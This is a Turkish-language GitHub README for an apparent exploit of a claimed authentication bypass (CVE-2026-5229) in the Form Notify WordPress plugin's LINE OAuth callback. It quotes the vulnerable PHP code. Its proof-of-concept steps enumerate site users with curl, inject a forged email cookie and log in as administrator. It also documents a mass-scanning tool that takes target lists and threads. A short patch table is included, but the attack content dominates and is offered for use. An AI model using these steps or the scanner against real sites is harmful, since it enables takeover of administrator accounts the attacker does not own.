xxconi/CVE-2026-5229

GitHub: xxconi/CVE-2026-5229

Stars: 0 | Forks: 0

# CVE-2026-5229 CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8) # Form Notify — LINE OAuth Authentication Bypass Scanner ## 📌 Zafiyet Hakkında Form Notify eklentisi, form gönderimleri sonrası bildirim gönderen ve **LINE Login OAuth 2.0** entegrasyonu sunan bir WordPress eklentisidir. Zafiyet, LINE OAuth callback handler'ında bulunmaktadır. Kullanıcı LINE yetkilendirme akışını tamamladıktan sonra eklenti, WordPress hesabını **yalnızca email adresine göre** çözümler. LINE hesabının o WordPress hesabıyla daha önce ilişkilendirilip ilişkilendirilmediğini **hiçbir zaman kontrol etmez.** ## 🔍 Sürüm Bazlı Zafiyet Tablosu | Sürüm | Zafiyet | Saldırı Yöntemi | |---|---|---| | <= 1.1.08 | Cookie Injection + Email Match | Path A veya Path B | | 1.1.09 – 1.1.10 | Email Match (cookie kaldırıldı) | Path B | | 1.1.11+ | Yamalı | — | ## ⚙️ Teknik Analiz ### Açık REST Endpoint LINE OAuth callback endpoint'i tamamen herkese açık olarak kayıtlıdır: // src/APIs/Line/Login/Route.php register_rest_route( 'form-notify/v1', '/callback', array( 'methods' => 'GET', 'callback' => array( $this, 'get_api_callback' ), 'permission_callback' => function () { return true; // kimlik doğrulama gerekmez }, ) ); ### Nonce Neden Koruma Sağlamıyor? WordPress nonce'ları **CSRF token**'dır, kimlik doğrulama token'ı değildir. Her ziyaretçi sayfa HTML'inden geçerli bir nonce alabilir ve doğrulama kontrolünü geçebilir. ### Email ile Hesap Çözümleme (1.1.10) // Route.php — lines 115–116 $has_real_email = ! empty( $user->email ); $user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com'; // User.php — is_member() public function is_member( string $user_email, string $user_avatar ): bool { $this->user = get_user_by( 'email', $user_email ); // sadece email ile arama if ( ! is_wp_error( $this->user ) && $this->user ) { return true; // linkage kontrolü YOK } return false; } Eşleşme bulunursa `login()` metodu anında oturum açar: // User.php — login() public function login( string $user_raw_id, string $user_email, ... ): void { if ( ! is_user_logged_in() ) { wp_clear_auth_cookie(); wp_set_current_user( $this->user->ID ); wp_set_auth_cookie( $this->user->ID, true, is_ssl() ); } } ### Cookie Injection (<= 1.1.08) // Route.php (1.1.08) — lines 115–118 if ( isset( $_COOKIE['form_notify_line_email'] ) ) { $line_email = sanitize_text_field( wp_unslash( $_COOKIE['form_notify_line_email'] ) ); } $user_email = ( $user->email ) ? $user->email : $line_email; LINE profili email döndürmediğinde (`$user->email` boş), eklenti **doğrudan tarayıcı cookie'sini** okur. Saldırgan bu cookie'yi tamamen kontrol eder. ### State Doğrulama Zayıflığı $session_state = get_transient( 'form_notify_line_state_' . $state ); if ( empty( $session_state ) ) { // Transient yoksa $_SESSION'a düşer $session_state = sanitize_text_field( wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] ) ); set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 ); } Transient süresi dolduysa `$_SESSION` fallback'i devreye girer. Çoğu WordPress kurulumunda `$_SESSION` bu noktada dolu değildir → state kontrolü atlatılabilir. ### İkincil Sorun — Email = Şifre (<= 1.1.10) // sign_up() metodu $userdata = array( 'user_pass' => $user_email, // şifre = email adresi ... ); LINE OAuth akışıyla oluşturulan hesaplarda şifre, email adresiyle aynıdır. Bu durum doğrudan brute-force veya login saldırısına olanak tanır. ## 🔴 Neden Kritik? | Sebep | Açıklama | |---|---| | **Kimlik doğrulama gerekmez** | Callback endpoint tamamen public | | **Linkage kontrolü yok** | Herhangi LINE hesabı yeterli | | **Cookie saldırısı** | <= 1.1.08'de email bile gerekmez | | **Admin dahil tüm hesaplar** | `get_user_by('email')` herkesi etkiler | | **Zayıf state kontrolü** | CSRF koruması atlatılabilir | | **Email = Şifre** | OAuth ile açılan hesaplar trivial brute-force'a açık | ## 🧪 Proof of Concept (Manuel) **Ön Koşullar:** - Form Notify eklentisi kurulu ve aktif, LINE Login yapılandırılmış - LINE developer hesabı ve LINE Login channel - Hedef sitede LINE login butonu olan bir sayfa ### Path A — Cookie Injection (<= 1.1.08) #### Adım 1 — Hedef Email Tespiti TARGET="https://target.com" # WordPress REST API'den kullanıcı listesi curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool # Veya author sayfaları curl -s "$TARGET/?author=1" -I | grep Location #### Adım 2 — Cookie Set Et Tarayıcı geliştirici araçlarını aç ve konsola yapıştır: document.cookie = "form_notify_line_email=admin@target.com; path=/"; Veya curl ile: curl -v -b 'form_notify_line_email=admin@target.com' \ "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location #### Adım 3 — LINE OAuth Flow Başlat Location header'daki LINE OAuth URL'ini tarayıcıda aç. #### Adım 4 — Email Scope VERMEDEn Tamamla LINE consent ekranında email iznini **verme** veya emailsiz bir LINE hesabı kullan. LINE, email olmadan callback'e yönlendirir. Eklenti cookie'ye düşer. #### Adım 5 — Oturumu Doğrula curl -s -b 'wordpress_logged_in_XXXX=...' \ "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool Beklenen yanıt: { "id": 1, "name": "admin", "email": "admin@target.com", "roles": ["administrator"] } ### Path B — Email Match (<= 1.1.10) #### Adım 1 — Hedef Email Tespiti Path A Adım 1 ile aynı. #### Adım 2 — LINE Hesabı Oluştur `account.line.biz` adresinde hedef email ile LINE hesabı oluştur. *(Email doğrulama gerektirir — hedef inbox'a erişim şarttır.)* #### Adım 3 — OAuth Flow Başlat https://target.com/wp-json/form-notify/v1/login #### Adım 4 — Email Scope VERErek Tamamla LINE consent ekranında email iznini **ver**. LINE, email adresini callback'e döndürür. #### Adım 5 — Otomatik Authenticate Plugin: is_member('admin@target.com') → get_user_by('email', 'admin@target.com') → Administrator bulundu → wp_set_auth_cookie(1) → Oturum açıldı ✓ ## 🛠️ Otomatik Tarayıcı ### Kurulum git clone https://github.com/kullanici/form-notify-bypass cd form-notify-bypass pip install -r requirements.txt **requirements.txt** requests ## 🚀 Kullanım ### Tekil Hedef — Otomatik Email Keşfi python form_notify_rce.py -u http://hedef.com ### Belirli Email ile Path A (Cookie Injection) python form_notify_rce.py -u http://hedef.com \ --email admin@hedef.com \ --path A ### Path B (Email Match) — Manuel Tamamlama python form_notify_rce.py -u http://hedef.com \ --email admin@hedef.com \ --path B ### Her İki Path Birden python form_notify_rce.py -u http://hedef.com \ --email admin@hedef.com \ --path both ### Toplu Tarama python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt ### Proxy ile (Burp Suite) python form_notify_rce.py -u http://hedef.com \ --proxy http://127.0.0.1:8080 ## ⚙️ Parametreler | Parametre | Kısa | Açıklama | Varsayılan | |---|---|---|---| | `--url` | `-u` | Tekil hedef URL | — | | `--list` | `-l` | Hedef listesi dosyası | — | | `--threads` | `-t` | Thread sayısı | `10` | | `--output` | `-o` | Çıktı dosyası | `auth_bypass.txt` | | `--email` | — | Hedef kullanıcı emaili | otomatik keşif | | `--path` | — | Saldırı path'i (A / B / both) | `both` | | `--max-users` | — | Hedef başına max kullanıcı | `5` | | `--proxy` | — | Proxy URL | — | | `--timeout` | — | İstek timeout (sn) | `10` | ## 📊 Tarayıcı Çıktı Durumları | Durum | Açıklama | |---|---| | `★ AUTH OK` | Oturum cookie'si alındı — tam otomatik | | `★ WP-ADMIN` | `/wp-admin`'e yönlendirildi | | `~ MANUAL` | OAuth URL hazır, tarayıcıda tamamla | | `~ PATH B` | LINE hesabı ile manuel adımlar | | `- NO_PLUGIN` | Form Notify kurulu değil | | `- NO_LINE` | LINE Login aktif değil | | `~ NO_TARGET` | Kullanıcı emaili bulunamadı | | `~ UNREACH` | Hedefe ulaşılamıyor | ## 🖥️ Örnek Tarayıcı Çıktısı ## 🛡️ Savunma / Yama | Önlem | Uygulama | |---|---| | **Eklenti Güncellemesi** | Form Notify 1.1.11+ sürümüne yükselt | | **LINE Linkage Kontrolü** | LINE ID'yi kullanıcı meta'ya kaydet, her girişte doğrula | | **Cookie Fallback Kaldır** | `$_COOKIE['form_notify_line_email']` kullanımını kaldır | | **State Doğrulama** | Transient fallback'i kaldır, süresi dolmuş state'i reddet | | **Şifre Politikası** | `sign_up()`'ta email'i şifre olarak kullanma | | **REST Endpoint Koruması** | Callback endpoint'ine rate limiting uygula | Güvenli hesap çözümleme örneği: // Güvensiz (mevcut) $user = get_user_by( 'email', $line_email ); // Güvenli (önerilen) $users = get_users( array( 'meta_key' => 'line_user_id', 'meta_value' => $line_user_id, // LINE ID ile eşleştir ) ); ## 📁 Dosya Yapısı form-notify-bypass/ ├── form_notify_rce.py # Ana tarayıcı ├── requirements.txt # Bağımlılıklar └── README.md # Bu dosya ## ⚠️ Yasal Uyarı ## 📄 Lisans MIT License — Yalnızca eğitim ve araştırma amaçlıdır. ## 🔗 Referanslar - [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/) - [LINE Login OAuth 2.0 Docs](https://developers.line.biz/en/docs/line-login/) - [WordPress Plugin Directory — Form Notify](https://wordpress.org/plugins/form-notify/) - [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1) - [OAuth 2.0 Security Best Practices — RFC 9700](https://datatracker.ietf.org/doc/html/rfc9700)